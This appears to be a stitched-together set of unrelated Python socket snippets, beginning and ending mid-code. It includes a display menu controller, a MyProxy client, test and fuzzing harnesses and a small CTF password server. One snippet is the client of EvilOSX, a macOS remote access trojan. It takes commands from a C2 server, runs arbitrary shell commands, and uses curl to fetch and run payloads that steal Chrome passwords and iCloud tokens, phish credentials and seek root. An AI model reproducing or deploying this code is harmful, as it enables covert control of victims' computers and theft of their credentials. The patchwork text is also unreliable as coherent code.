64,128,0').encode('utf-8'), ip_port) time.sleep(0.001) while True: get_s = os.read(fd_pp, 1) #get_s = bytes.decode(get_s) #print("received msg: %s" % get_s) if get_s == b'1': print("received msg: %s" % get_s) while get_s != b'0': with canvas(device) as draw: draw.text((0, 18), 'Send to TX503... ', font=font2, fill="white") get_s = os.read(fd_pp, 1) time.sleep(0.2) #print("received msg: %s" % get_s) print("received msg: %s" % get_s) with canvas(device) as draw: draw.text((0, 18), 'Send Done! ', font=font2, fill="white") time.sleep(2) elif get_s == b'C': print("received msg: %s" % get_s) exit_status = True #t_load_info.exit() t_load_info.join() sys.exit() #with canvas(device) as draw: #client.sendto(('0 0 4 64,128,0').encode('utf-8'), ip_port) // client.sendto(('0 0 0 0,0').encode('utf-8'), ip_port) if current_interface_option == 0: client.sendto(('0 0 3 '+interface_options[current_interface_option].name[current_lang_option]).encode('utf-8'), ip_port) #draw.text((0, 0), interface_options[current_interface_option].name[current_lang_option]+' ', font=font2, fill="white") #draw.text((0, 18), 'Spd:'+dict_menu_options['Play Speed'].get_option()+' Bri:'+dict_menu_options['Brightness'].get_option()+' ', font=font2, fill="white") if current_lang_option == 0: client.sendto(('2 0 3 '+'Spd:'+dict_menu_options['Play Speed'].get_option()+' Bri:'+dict_menu_options['Brightness'].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), 'Spd:'+dict_menu_options['Play Speed'].get_option()+' Bri:'+dict_menu_options['Brightness'].get_option()+' ', font=font2, fill="white") elif current_lang_option == 1: client.sendto(('2 0 3 '+'速度:'+dict_menu_options['Play Speed'].get_option()+' 亮度:'+dict_menu_options['Brightness'].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), '速度:'+dict_menu_options['Play Speed'].get_option()+' 亮度:'+dict_menu_options['Brightness'].get_option()+' ', font=font2, fill="white") client.sendto(('6 0 3 '+dict_menu_options['Date'].get_option()).encode('utf-8'), ip_port) #draw.text((0, 36), dict_menu_options['Date'].get_option()+' ', font=font2, fill="white") #draw.text((0, 18), "Hello Displayer+-", font=font2, fill="white") elif current_interface_option == 1: if config_status: if menu_options[current_menu_option].name == lang["Date"]: if config_date_status: client.sendto(('0 0 3 '+menu_options[current_menu_option].get_option_object().name[current_lang_option]).encode('utf-8'), ip_port) client.sendto(('2 0 3 '+" + - "+menu_options[current_menu_option].get_option_object().get_option()).encode('utf-8'), ip_port) #draw.text((0, 0), menu_options[current_menu_option].get_option_object().name[current_lang_option]+' ', font=font2, fill="white") #draw.text((0, 18), " + - "+menu_options[current_menu_option].get_option_object().get_option()+' ', font=font2, fill="white") else: client.sendto(('0 0 3 '+menu_options[current_menu_option].get_option_object().name[current_lang_option]).encode('utf-8'), ip_port) client.sendto(('2 10 3 '+menu_options[current_menu_option].get_option_object().get_option()).encode('utf-8'), ip_port) #draw.text((0, 0), menu_options[current_menu_option].get_option_object().name[current_lang_option]+' ', font=font2, fill="white") #draw.text((33, 18), menu_options[current_menu_option].get_option_object().get_option()+' ', font=font2, fill="white") else: client.sendto(('0 0 3 '+menu_options[current_menu_option].name[current_lang_option]).encode('utf-8'), ip_port) #draw.text((0, 0), menu_options[current_menu_option].name[current_lang_option]+' ', font=font2, fill="white") if menu_options[current_menu_option].name == lang["MAC"]: client.sendto(('2 0 3 '+menu_options[current_menu_option].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), menu_options[current_menu_option].get_option()+' ', font=font2, fill="white") elif menu_options[current_menu_option].name == lang["MAC(BCD)"]: client.sendto(('2 0 3 '+menu_options[current_menu_option].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), menu_options[current_menu_option].get_option()+' ', font=font2, fill="white") elif menu_options[current_menu_option].name == lang["Window Position"]: client.sendto(('2 0 3 '+menu_options[current_menu_option].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), menu_options[current_menu_option].get_option()+' ', font=font2, fill="white") elif menu_options[current_menu_option].name == lang["System Info"]: client.sendto(('2 0 3 '+menu_options[current_menu_option].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), menu_options[current_menu_option].get_option()+' ', font=font2, fill="white") else: if menu_options[current_menu_option].name == lang["File"]: client.sendto(('0 10 3 '+str(int(menu_options[current_menu_option].get_option_object()[0]) + 1)).encode('utf-8'), ip_port) #draw.text((75, 0), str(int(menu_options[current_menu_option].get_option_object()[0]) + 1) + ' ', font=font2, fill="white") client.sendto(('2 0 3 '+" + - "+menu_options[current_menu_option].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), " + - "+menu_options[current_menu_option].get_option()+' ', font=font2, fill="white") else: client.sendto(('0 0 3 '+menu_options[current_menu_option].name[current_lang_option]).encode('utf-8'), ip_port) #draw.text((0, 0), menu_options[current_menu_option].name[current_lang_option]+' ', font=font2, fill="white") if menu_options[current_menu_option].name == lang["Date"]: client.sendto(('2 0 3 '+menu_options[current_menu_option].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), menu_options[current_menu_option].get_option()+' ', font=font2, fill="white") elif menu_options[current_menu_option].name == lang["MAC"]: client.sendto(('2 0 3 '+menu_options[current_menu_option].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), menu_options[current_menu_option].get_option()+' ', font=font2, fill="white") elif menu_options[current_menu_option].name == lang["MAC(BCD)"]: client.sendto(('2 0 3 '+menu_options[current_menu_option].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), menu_options[current_menu_option].get_option()+' ', font=font2, fill="white") elif menu_options[current_menu_option].name == lang["Window Position"]: client.sendto(('2 0 3 '+menu_options[current_menu_option].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), menu_options[current_menu_option].get_option()+' ', font=font2, fill="white") elif menu_options[current_menu_option].name == lang["System Info"]: client.sendto(('2 0 3 '+menu_options[current_menu_option].get_option()).encode('utf-8'), ip_port) #draw.text((0, 18), menu_options[current_menu_option].get_option()+' ', font=font2, fill="white") else: if menu_options[current_menu_option].name == lang["File"]: client.sendto(('0 10 3 '+str(int(menu_options[current_menu_option].get_option_object()[0]) + 1)).encode('utf-8'), ip_port) #draw.text((75, 0), str(int(menu_options[current_menu_option].get_option_object()[0]) + 1) + ' ', font=font2, fill="white") client.sendto(('2 0 3 '+menu_options[current_menu_option].get_option()).encode('utf-8'), ip_port) #draw.text((33, 18), menu_options[current_menu_option].get_option()+' ', font=font2, fill="white") if GPIO.input(KEY_UP) == GPIO.LOW: print("UP") key_trigger_status = True if current_interface_option == 1: if config_status: while GPIO.input(KEY_UP) == GPIO.LOW: print("1 UP 0 0 4 64,128,0") client.sendto(('0 0 4 64,128,0').encode('utf-8'), ip_port) #pass if menu_options[current_menu_option].name == lang["Date"] and config_date_status: menu_options[current_menu_option].get_option_object().current_option += 1 else: menu_options[current_menu_option].current_option += 1 print("current_menu_option: %d" %menu_options[current_menu_option].current_option) else: while GPIO.input(KEY_UP) == GPIO.LOW: print("2 UP 0 0 4 64,128,0") client.sendto(('0 0 4 64,128,0').encode('utf-8'), ip_port) #pass current_menu_option += 1 if GPIO.input(KEY_DOWN) == GPIO.LOW: print("DOWN") key_trigger_status = True if current_interface_option == 1: if config_status: while GPIO.input(KEY_DOWN) == GPIO.LOW: print("1 DOWN 0 0 4 64,128,0") client.sendto(('0 0 4 64,128,0').encode('utf-8'), ip_port) #pass if menu_options[current_menu_option].name == lang["Date"] and config_date_status: menu_options[current_menu_option].get_option_object().current_option -= 1 else: menu_options[current_menu_option].current_option -= 1 print("menu_options[current_menu_option].current_option: %d" %menu_options[current_menu_option].current_option) else: while GPIO.input(KEY_DOWN) == GPIO.LOW: print("2 DOWN 0 0 4 64,128,0") client.sendto(('0 0 4 64,128,0').encode('utf-8'), ip_port) #pass current_menu_option -= 1 if config_status: if menu_options[current_menu_option].name == lang["Date"] and config_date_status: menu_options[current_menu_option].get_option_object().set_option() else: menu_options[current_menu_option].set_option() #print("current_option: %d, current_lang_option: %d" %(menu_options[current_menu_option].current_option, current_lang_option)) else: current_menu_option %= len(menu_options) if GPIO.input(KEY_MENU) == GPIO.LOW: print("MENU") key_trigger_status = True while GPIO.input(KEY_MENU) == GPIO.LOW: print("MENU 0 0 4 64,128,0") client.sendto(('0 0 4 64,128,0').encode('utf-8'), ip_port) #pass ## current_menu_option = 0 if menu_options[current_menu_option].name == lang["Date"] and config_status: config_date_status = True config_status = False current_interface_option = 1 else: current_interface_option += 1 if current_interface_option == 1: key_trigger_status = False threading.Thread(target=back_to_main, args=()).start() current_interface_option %= len(interface_options) if GPIO.input(KEY_CONFIG) == GPIO.LOW: print("CONFIG") key_trigger_status = True while GPIO.input(KEY_CONFIG) == GPIO.LOW: print("CONFIG 0 0 4 64,128,0") client.sendto(('0 0 4 64,128,0').encode('utf-8'), ip_port) #pass if current_interface_option == 1: if menu_options[current_menu_option].name == lang["Date"]: config_status = True config_date_status = not config_date_status elif menu_options[current_menu_option].name == lang["MAC"] or menu_options[current_menu_option].name == lang["MAC(BCD)"] or menu_options[current_menu_option].name == lang["Window Position"] or menu_options[current_menu_option].name == lang["System Info"]: pass else: config_status = not config_status if config_status == False: menu_options[current_menu_option].do() #print("current_lang_option: %d" %(current_lang_option)) time.sleep(0.05)
def send_cmd(self, message): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(self.addr) s.send(message.encode()) s.close()
def myproxy_logon_py(hostname, username, passphrase, outfile, lifetime=43200, port=7512): """ Function to retrieve a proxy credential from a MyProxy server Exceptions: GetException, RetrieveProxyException """ context = SSL.Context(SSL.SSLv3_METHOD) # disable for compatibility with myproxy server (er, globus) # globus doesn't handle this case, apparently, and instead # chokes in proxy delegation code context.set_options(0x00000800L) # connect to myproxy server if debuglevel(1): print "debug: connect to myproxy server" conn = SSL.Connection(context, socket.socket()) conn.connect((hostname, port)) # send globus compatibility stuff if debuglevel(1): print "debug: send globus compat byte" conn.write('0') # send get command if debuglevel(1): print "debug: send get command" cmd_get = CMD_GET % (username, passphrase, lifetime) conn.write(cmd_get) # process server response if debuglevel(1): print "debug: get server response" dat = conn.recv(8192) if debuglevel(1): print dat response, errortext = deserialize_response(dat) if response: raise GetException(errortext) else: if debuglevel(1): print "debug: server response ok" # generate and send certificate request # - The client will generate a public/private key pair and send a # NULL-terminated PKCS#10 certificate request to the server. if debuglevel(1): print "debug: send cert request" certreq, privatekey = create_cert_req() conn.send(certreq) # process certificates # - 1 byte , number of certs dat = conn.recv(1) numcerts = ord(dat[0]) # - n certs if debuglevel(1): print "debug: receive certs" dat = conn.recv(8192) if debuglevel(2): print "debug: dumping cert data to myproxy.dump" f = file('myproxy.dump', 'w') f.write(dat) f.close() # process server response if debuglevel(1): print "debug: get server response" resp = conn.recv(8192) response, errortext = deserialize_response(resp) if response: raise RetrieveProxyException(errortext) else: if debuglevel(1): print "debug: server response ok" # deserialize certs from received cert data pem_certs = deserialize_certs(dat) if len(pem_certs) != numcerts: print "Warning: %d certs expected, %d received" % (numcerts, len(pem_certs)) # write certs and private key to file # - proxy cert # - private key # - rest of cert chain if debuglevel(1): print "debug: write proxy and certs to", outfile if isinstance(outfile, str): f = file(outfile, 'w') else: f = outfile f.write(pem_certs[0]) f.write(privatekey) for c in pem_certs[1:]: f.write(c) if isinstance(file, str): f.close()
def connect(self): if self._socket: self._socket.close() self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._socket.connect((self.host, self.port))
def createSocket(self, af, stype): skt = socket.socket(af, stype) self.registerHandle(skt.fileno()) return skt
def main(): def kill_procs(servA, servB, gen, vengine): for a in servA: if a != None: print("killing implementation A's rvfi-dii server") a.kill() for b in servB: if b != None: print("killing implementation B's rvfi-dii server") b.kill() for g in generator: if g != None: print("killing generator") g.kill() for v in vengine: if v != None: v.kill() def handle_SIGINT(sig, frame): kill_procs(a, b, generator, e) exit(0) signal.signal(signal.SIGINT, handle_SIGINT) # Lists of process handles, sockets being temporarily held, and ports allocated to each process a = [] asocks = [] aports = [] b = [] bsocks = [] bports = [] e = [] generator = [] isa_def = ISA_Configuration(args.architecture) isa_def.support_misaligned = args.support_misaligned # Allow --verification-archstring to override architecture vengine_archstring = args.verification_archstring if args.verification_archstring else args.architecture try: for job in range(args.parallel_jobs): # Open a socket to allocate a free port asock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) asock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) asock.bind(('', 0)) asocks.append(asock) bsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) bsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) bsock.bind(('', 0)) bsocks.append(bsock) if (args.parallel_jobs > 1): try: if (args.parallel_log): os.mkdir('parallel-logs') except FileExistsError: () # do nothing for job in range(args.parallel_jobs): if (args.parallel_jobs == 1): aLog = args.implementation_A_log bLog = args.implementation_B_log genLog = args.generator_log eLog = None else: # Ignore user-supplied arguments since they don't make sense for multiple jobs (TODO print error if they are supplied?) if (args.parallel_log): aLog = auto_write_fd('parallel-logs/a' + str(job)) bLog = auto_write_fd('parallel-logs/b' + str(job)) genLog = auto_write_fd('parallel-logs/g' + str(job)) eLog = auto_write_fd('parallel-logs/v' + str(job)) else: aLog = None bLog = None genLog = None eLog = None if (args.implementation_A_port != 0): aports.append(args.implementation_A_port) else: aports.append(asocks[job].getsockname()[1]) asocks[job].close if (args.implementation_B_port != 0): bports.append(args.implementation_B_port) else: bports.append(bsocks[job].getsockname()[1]) bsocks[job].close a.append( spawn_rvfi_dii_server(args.implementation_A, aports[job], aLog, isa_def)) b.append( spawn_rvfi_dii_server(args.implementation_B, bports[job], bLog, isa_def)) time.sleep( args.spawn_delay ) # small delay to give time to the spawned servers to be ready to listen for job in range(args.parallel_jobs): if a[job] is not None and a[job].poll() is not None: print("ERROR: Implementation A failed to start!") print(" ".join(a[job].args), "failed with exit code", a[job].poll()) exit(1) if b[job] is not None and b[job].poll() is not None: print("ERROR: Implementation B failed to start!") print(" ".join(b[job].args), "failed with exit code", b[job].poll()) exit(1) e.append( spawn_vengine(args.verification_engine, aports[job], bports[job], vengine_archstring, eLog)) # TODO support non-standard generator in parallel builds generator.append( spawn_generator(args.generator, args.architecture, genLog)) # Periodic non-blocking loop over processes to terminate those that finish early alive = args.parallel_jobs while alive > 1: alive = 0 time.sleep(5) # Wait for 5 seconds in between polls for job in range(args.parallel_jobs): if e[job].poll() == None: alive += 1 else: # Kill the process, since it is done kill_procs([a[job]], [b[job]], [None], [e[job]]) a[job] = None b[job] = None # Keep a handle to the vengine so we can get the returncode later retMax = 0 for job in range(args.parallel_jobs): e[job].wait() retMax = max(retMax, e[job].returncode) print('run terminated') exit(retMax) finally: time.sleep(2) kill_procs(a, b, generator, e)
def qemu_setup(): """Sets up and runs a QEMU VM in the background. Returns a process.Popen object. Does not block the calling process, and teardown must be handled by the caller (use .kill()). Fuchsia fuzzers assume a QEMU VM is running; call this routine prior to beginning Fuchsia fuzzing tasks. This initialization routine assumes the following layout for fuchsia_resources_dir: * /qemu-for-fuchsia/* * /.ssh/* * target/x64/fvm.blk * target/x64/fuchsia.zbi * target/x64/multiboot.bin * build/out/default/fuzzers.json * build/out/default/ids.txt * build/out/default.zircon/tools/* * build/zircon/prebuilt/downloads/symbolize * build/buildtools/linux-x64/clang/bin/llvm-symbolizer""" # First download the Fuchsia resources locally. fuchsia_resources_dir = environment.get_value('FUCHSIA_RESOURCES_DIR') if not fuchsia_resources_dir: raise errors.FuchsiaConfigError('Could not find FUCHSIA_RESOURCES_DIR') # Then, save paths for necessary commands later. qemu_path = os.path.join(fuchsia_resources_dir, 'qemu-for-fuchsia', 'bin', 'qemu-system-x86_64') os.chmod(qemu_path, 0o550) kernel_path = os.path.join(fuchsia_resources_dir, 'target', 'x64', 'multiboot.bin') os.chmod(kernel_path, 0o644) pkey_path = os.path.join(fuchsia_resources_dir, '.ssh', 'pkey') os.chmod(pkey_path, 0o400) sharefiles_path = os.path.join(fuchsia_resources_dir, 'qemu-for-fuchsia', 'share', 'qemu') drive_path = os.path.join(fuchsia_resources_dir, 'target', 'x64', 'fvm.blk') os.chmod(drive_path, 0o644) fuchsia_zbi = os.path.join(fuchsia_resources_dir, 'target', 'x64', 'fuchsia.zbi') initrd_path = os.path.join(fuchsia_resources_dir, 'fuchsia-ssh.zbi') # Perform some more initiailization steps. extend_fvm(fuchsia_resources_dir, drive_path) add_keys_to_zbi(fuchsia_resources_dir, initrd_path, fuchsia_zbi) # Get a free port for the VM, so we can SSH in later. tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp.bind(('localhost', 0)) _, port = tcp.getsockname() tcp.close() # Fuzzing jobs that SSH into the QEMU VM need access to this env var. environment.set_value('FUCHSIA_PORTNUM', port) environment.set_value('FUCHSIA_RESOURCES_DIR', fuchsia_resources_dir) # yapf: disable qemu_args = [ '-m', '2048', '-nographic', '-kernel', kernel_path, '-initrd', initrd_path, '-smp', '4', '-drive', 'file=' + drive_path + ',format=raw,if=none,id=blobstore', '-device', 'virtio-blk-pci,drive=blobstore', '-monitor', 'none', '-append', '"kernel.serial=legacy TERM=dumb"', '-machine', 'q35', '-display', 'none', # Can't use host CPU since we don't necessarily have KVM on the machine. # Emulate a Haswell CPU with a few feature toggles. This mirrors the most # common configuration for Fuchsia VMs when using in-tree tools. '-cpu', 'Haswell,+smap,-check,-fsgsbase', '-netdev', ('user,id=net0,net=192.168.3.0/24,dhcpstart=192.168.3.9,' 'host=192.168.3.2,hostfwd=tcp::') + str(port) + '-:22', '-device', 'e1000,netdev=net0,mac=52:54:00:63:5e:7b', '-L', sharefiles_path ] # yapf: enable # Get the list of fuzzers for ClusterFuzz to choose from. host = Host.from_dir( os.path.join(fuchsia_resources_dir, 'build', 'out', 'default')) Device(host, 'localhost', str(port)) Fuzzer.filter(host.fuzzers, '') # Fuzzing jobs that SSH into the QEMU VM need access to this env var. environment.set_value('FUCHSIA_PKEY_PATH', pkey_path) # Finally, launch QEMU. print('Running QEMU. Command: ' + qemu_path + ' ' + str(qemu_args)) qemu_process = new_process.ProcessRunner(qemu_path, qemu_args) qemu_popen = qemu_process.run(stdout=subprocess.PIPE, stderr=subprocess.PIPE) return qemu_popen
def __init__(self, socket_path, accepter): self._socket_path = socket_path self._listener = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) self._listener.bind(socket_path) self._accepter = accepter
def getHwAddr(ifname): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15])) return ':'.join(['%02x' % ord(char) for char in info[18:24]])
# -*- coding: utf-8 -*- # CS通话简单示例 import socket obj = socket.socket() ip_port = ('127.0.0.1', 8000) obj.connect(ip_port) ret_bytes = obj.recv(1024) ret_str = str(ret_bytes, encoding='utf-8') print(ret_str) obj.sendall(bytes('i am client', encoding='utf-8'))
def _httpd(): global var_store html=""" <html> <head><title>Horo setup</title></head> <body> Device Time:%(tms)s <br><br> <h2>Set Wifi Connection</h2> <form action="/set_wifi" method="get"> <table border="1"> <tr><th>Field</th><th>Value</th></tr> <tr><td>SSID</td><td><input type="text" name="ssid" value=""></td></tr> <tr><td>Pass</td><td><input type="password" name="pass" value=""></td></tr> <tr><td></td><td><input type="Submit" value="submit"></td></tr> </table> </form> <br><br> <h2>Set Date Time</h2> <form action="/set_dt" method="get"> <table border="1"> <tr><th>Field</th><th>Value</th></tr> <tr><td>Date (yyyy-mm-dd)</td><td><input type="text" name="yr" value="%(yr)s">-<input type="text" name="mon" value="%(mon)s">-<input type="text" name="mday" value="%(mday)s"></td></tr> <tr><td>Time (HH:MM)</td><td><input type="text" name="hr" value="%(hr)s">:<input type="text" name="min" value="%(min)s"></td></tr> <tr><td>Time Zone</td><td><input type="text" name="tz" value="%(tz)s"></td></tr> <tr><td>Latitude (N)</td><td><input type="text" name="lat" value="%(lat)s"></td></tr> <tr><td>Longitude</td><td><input type="text" name="lon" value="%(lon)s"> %(drxs)s</td></tr> <tr><td>Action type</td><td><input type="radio" name="action" value="set">Set   <input type="radio" name="action" value="render">Render only</td></tr> <tr><td></td><td><input type="Submit" value="submit" value=""></td></tr> </table> </form> <br> <br> <br> <a href="/">Refresh</a> <br> <a href="https://github.com/micropython/webrepl">Webrepl download</a> <br> </body> """ import socket addr = socket.getaddrinfo('0.0.0.0',80)[0][-1] s=socket.socket() s.bind(addr) s.listen(1) print('listening on',addr) tft = var_store['tft'] tft.text('httpd listening',25,50,WHITE,NAVY) from tfth import get_time, load_tzone, load_geo_cfg while True: conn,addr = s.accept() print("connected from",addr) req = conn.recv(1024) print("content=%s" % str(req)) if req==b'': continue if req[:4]==b'GET ': pos = req.find(b' HTTP/') cmd = req[4:pos] res = handle_cmd(cmd) if res is not None: resp="""<html><body>Result: %s<br><br><a href="/">Home</a></body></html>""" % res conn.send(resp) conn.close() continue tm = get_time() tzone=load_tzone() lat,lon,drx= load_geo_cfg() #tm = time.time()+tzone*60*60 ct = time.localtime(tm) yr,mon,mday,hr,minu,sec,wday,_,= ct ds = '%d-%d-%d %02d:%02d:%02d' % (yr,mon,mday,hr,minu,sec) dictx={'tms':ds,'yr':yr,'mon':mon,'mday':mday,'hr':hr,'min':minu,'tz':tzone,'lat':lat,'lon':lon,'drx':drx} dictx=add_select(dictx) resp = html % dictx conn.send(resp) conn.close()
def __init__(self, ip, port): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((ip, port))
def tcp_recv_zmq_send(context, sub_server_addr, syncaddr, down_computer_addr, port): # socketzmq = context.socket(zmq.PUB) # socketzmq.bind("tcp://115.156.162.76:6000") reveiver_url = "ipc://11_Router" socketzmq = context.socket(zmq.ROUTER) socketzmq.set_hwm(HWM_VAL) socketzmq.connect(reveiver_url) sendinglist = [] # client = context.socket(zmq.ROUTER) # # # #为了等待远端的电脑的sub的内容全部都连接上来。进行的延迟 # time.sleep(3) # # 保证同步的另r外的一种方案就是采用req-rep的同步 # sync_client = context.socket(zmq.REQ) # sync_client.connect(syncaddr) # # # # 发送同步信号 # sync_client.send(b'') # # # 等待同步回应,完成同步 # sync_client.recv() # 为了定义一个对象线程 # 创建一个socket: tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建套接字 tcp_server_socket.bind((down_computer_addr, port)) #绑定本机地址和接收端口 tcp_server_socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, True) tcp_server_socket.listen(1) #监听()内为最大监听值 # tcp_server_socket = set_keepalive_linux(tcp_server_socket) s, s_addr = tcp_server_socket.accept() #建立连接(accept(无参数) s = set_keepalive_linux(s) # s.connect(('192.168.127.5', 5001)) print('we have connected to the tcp data send server!---port is :', port) packagenum = 0 zhanbao = 0 buzhanbao = 0 start_time_perf = time.perf_counter() start_time_process = time.process_time() count = 0 # 实际上应当启用的市多线程来做这些事情的 # 每一个线程要做的事情就是接收对应的内容 # 我想epics里面做的也是基本想同样的事情 ---最后写一个自动化的脚本多线程 start_flag = True while True: try: b = s.recv(10) except: s.close() #等待后续的连接 # print('we are receiving ', b) # print(b) # print(b) if b[0:4] == b'stop': ##收到结束指令包 print('we have received the stop') timestample = str(datetime.datetime.now()).encode() b = b + timestample sendinglist.append(b) for item in sendinglist: socketzmq.send_multipart([b'11', item]) sendinglist.clear() start_flag = False continue elif b[0:5] == b'start': ## 收到开始指令 print('we have received the start') start_flag = True continue if start_flag: size = len(b) count = count + 1 timestample = str(datetime.datetime.now()).encode() b = b + timestample sendinglist.append(b) # print('Sending list size ',len(sendinglist)) print(packagenum) end_time_perf = time.perf_counter() end_time_process = time.process_time() print('the port is: ', port) print('程序_process', end_time_process - start_time_process) # process time 不包含time sleep 的 print('程序执行perf_count', end_time_perf - start_time_perf) # # print('tcp接收不粘包', buzhanbao) # print('tcp接收粘包', zhanbao) print('tcp接收包个数', count) # socketzmq.send(b) socketzmq.close() s.close() tcp_server_socket.close()
def start_server(): print MESSAGE_INFO + "Starting EvilOSX..." if is_root(): os.chdir("/") else: os.chdir(os.path.expanduser("~")) while True: # Connect to server. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.settimeout(None) server_socket = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1, cert_reqs=ssl.CERT_NONE) try: print MESSAGE_INFO + "Connecting..." server_socket.connect((SERVER_HOST, SERVER_PORT)) print MESSAGE_INFO + "Connected." except socket.error as error: if error.errno == 61: print MESSAGE_ATTENTION + "Connection refused." pass else: print MESSAGE_ATTENTION + "Failed to connect: {0}".format(error.strerror) pass time.sleep(5) continue while True: command = server_socket.recv(4096) if not command: print MESSAGE_ATTENTION + "Server disconnected." break # Start listening again (goes to previous while loop). print MESSAGE_INFO + "Received command: " + command if command == "get_computer_name": server_socket.sendall(get_computer_name()) elif command == "get_shell_info": shell_info = execute_command("whoami") + "\n" + get_computer_name() + "\n" + execute_command("pwd") server_socket.sendall(shell_info) elif command == "get_info": system_version = str(platform.mac_ver()[0]) battery = execute_command("pmset -g batt").split('\t')[1].split(";") filevault = execute_command("fdesetup status") response = MESSAGE_INFO + "System version: " + system_version + "\n" response += MESSAGE_INFO + "Model: " + get_model() + "\n" response += MESSAGE_INFO + "Battery: " + battery[0] + battery[1] + ".\n" response += MESSAGE_INFO + "WiFi network: " + get_wifi() + " (" + get_external_ip() + ")\n" response += MESSAGE_INFO + "Shell location: " + __file__ + "\n" if is_root(): response += MESSAGE_INFO + "We are root!\n" else: response += MESSAGE_ATTENTION + "We are not root, see \"get_root\" for local privilege escalation.\n" if "On" in filevault: response += MESSAGE_ATTENTION + "FileVault is on.\n" else: response += MESSAGE_INFO + "FileVault is off.\n" server_socket.sendall(response) elif command == "chrome_passwords": payload_url = "https://raw.githubusercontent.com/Marten4n6/EvilOSX/master/Payloads/chrome_passwords.py" payload_file = "/tmp/chrome_passwords.py" execute_command("curl {0} -s -o {1}".format(payload_url, payload_file)) output = execute_command("python {0}".format(payload_file), False) if "Error" in output: if "clicked deny" in output: server_socket.sendall(MESSAGE_ATTENTION + "Failed to get chrome passwords, user clicked deny.") elif "entry not found": server_socket.sendall(MESSAGE_ATTENTION + "Failed to get chrome passwords, Chrome not found.") else: server_socket.sendall(MESSAGE_ATTENTION + "Failed to get chrome passwords, unknown error.") else: server_socket.sendall(output) execute_command("rm -rf {0}".format(payload_file)) elif command == "decrypt_mme": payload_url = "https://raw.githubusercontent.com/Marten4n6/EvilOSX/master/Payloads/MMeDecrypt.py" payload_file = "/tmp/MMeDecrypt.py" execute_command("curl {0} -s -o {1}".format(payload_url, payload_file)) output = execute_command("python {0}".format(payload_file), False) if "Failed to get iCloud" in output: server_socket.sendall(MESSAGE_ATTENTION + "Failed to get iCloud Decryption Key (user clicked deny).") elif "Failed to find" in output: server_socket.sendall(MESSAGE_ATTENTION + "Failed to find MMeToken file.") else: # Decrypted successfully, store tokens in tokens.json with open(get_program_folder(is_root()) + "/tokens.json", "w") as open_file: open_file.write(output) server_socket.sendall(MESSAGE_INFO + "Decrypted successfully.") execute_command("rm -rf {0}".format(payload_file)) elif command == "icloud_contacts": if not os.path.isfile(get_program_folder(is_root()) + "/tokens.json"): # The server should handle this message and then call "decrypt_mme". server_socket.sendall(MESSAGE_ATTENTION + "Failed to find tokens.json") else: payload_url = "https://raw.githubusercontent.com/Marten4n6/EvilOSX/master/Payloads/icloud_contacts.py" payload_file = "/tmp/icloud_contacts.py" execute_command("curl {0} -s -o {1}".format(payload_url, payload_file)) with open(get_program_folder(is_root()) + "/tokens.json") as open_file: response = "" for key, value in json.load(open_file).items(): dsid = value["dsPrsID"] token = value["mmeAuthToken"] output = execute_command("python {0} {1} {2}".format(payload_file, dsid, token), False) response += MESSAGE_INFO + "Contacts for \"{0}\":\n".format(key) response += output server_socket.sendall(response) execute_command("rm -rf {0}".format(payload_file)) elif command.startswith("icloud_phish"): email = command.replace("icloud_phish ", "") output = icloud_phish(server_socket, email) server_socket.sendall(output) elif command.startswith("find_my_iphone"): email = command.split(" ")[1] password = command.split(" ")[2] payload_url = "https://raw.githubusercontent.com/Marten4n6/EvilOSX/7841226b942a1b3a5e12007210f4e49ae962c1aa/Payloads/find_my_iphone.py" payload_file = "/tmp/find_my_iphone.py" execute_command("curl {0} -s -o {1}".format(payload_url, payload_file)) output = execute_command("python {0} {1} {2}".format(payload_file, email, password), False) server_socket.sendall(output) execute_command("rm -rf {0}".format(payload_file)) elif command == "kill_client": server_socket.sendall("Farewell.") kill_client(is_root()) elif command == "get_root": get_root(server_socket) else: # Regular shell command if len(command) > 3 and command[0:3] == "cd ": try: os.chdir(command[3:]) server_socket.sendall(base64.b64encode("EMPTY")) except OSError: server_socket.sendall(base64.b64encode("EMPTY")) pass else: process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) timer = Timer(5, lambda process: process.kill(), [process]) try: timer.start() # Kill process after 5 seconds stdout, stderr = process.communicate() response = stdout + stderr if not response: server_socket.sendall(base64.b64encode("EMPTY")) else: server_socket.sendall(base64.b64encode(response)) finally: timer.cancel() server_socket.close()
HOST = '127.0.0.1' PORT = 65432 ERROR = "Wrong password, try again\n" SUCCESS = "Login successful!\nFlag: sdctf_ok_test\n" PASSWD = "59784015375233083673486266" def hash(data): out = 0 for c in data: out *= 31 out += ord(c) return str(out) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((HOST, PORT)) s.listen() while True: conn, addr = s.accept() with conn: print('Connected by', addr) conn.sendall("Please enter password below\n".encode('utf-8')) while True: data = conn.recv(1024).decode() if not data: break if hash(data) == PASSWD: conn.sendall(SUCCESS.encode('utf-8')) break else:
